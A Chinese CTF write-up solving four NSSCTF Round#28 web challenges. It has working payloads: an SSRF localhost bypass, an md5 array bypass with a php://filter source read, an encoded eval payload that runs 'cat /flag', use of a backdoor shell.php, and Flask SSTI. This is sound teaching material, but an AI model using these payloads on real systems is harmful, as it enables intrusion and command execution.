本文最后更新于306 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com
NSSCTF Round#28-web
ez-ssrf
<?php
highlight_file(__FILE__);
//flag在/flag路由中
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}
curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>
简单的ssrf。
payload:
?url=http://0/flag
ez_php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
$a = $_POST['a'];
$b = $_POST['b'];
$password = $_GET['password'];
if (is_numeric($password)) {
die("password can't be a number</br>");
} elseif ($password != 123456) {
die("Wrong password</br>");
}
if ($a != $b && md5($a) === md5($b)) {
echo "wonderful</br>";
include($_POST['file']); # level2.php
}
}
?>
不是强相等,数组绕过即可.
include函数包含的文件会自动当作php文件来执行而不会输出。
所以读取level2.php源码需要用到php伪协议
payload:
GET:?password=123456f
POST:a[]=1&b[]=2&file=php://filter/read=convert.base64-encode/resource=level2.php
拿到level2源码
<?php
error_reporting(0);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'-<?>"/|`a-zA-Z~\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
?>
过滤里面有^和~所以无法用异或和取反,但是没过滤数字,可以用自增
最终payload:
GET:?password=123456f&1=system&2=cat /flag
POST:a[]=1&b[]=2&file=level2.php&rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B%20
light_pink
dirsearch扫一下有个shell.php后门。密码cmd

蚁剑连一下,flag在/var/db.sql

Coding Loving
给了源码
app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):
for keyword in FILTER_KEYWORDS:
if keyword.lower() in complaint:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
session['user'] = 'test'
command = request.form.get('cmd', 'coding')
return render_template('index.html', command=command)
@app.route('/test', methods=['GET', 'POST'])
def shell():
if session.get('user') != 'test':
return render_template('Auth.html')
if (abc:=request.headers.get('User-Agent')) is None:
return render_template('Auth.html')
cmd = request.args.get('cmd', '试一试')
if request.method == 'POST':
css_url = url_for('static', filename='style.css')
command = request.form.get('cmd')
if contains_forbidden_keywords(command):
return render_template('forbidden.html')
return render_template_string(f'''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Loving Music</title>
<link rel="stylesheet" href="{css_url}">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>Loving coding</h1>
<p class="emoji">🧑💻</p>
<p>{command}</p>
</div>
</body>
</html>
''', command=command,css_url=css_url)
return render_template('shell.html', command=cmd)
很简单。我们就是要去/test路由post方法触发ssti,注意带着cookie。
fenjing直接跑

然后rce即可






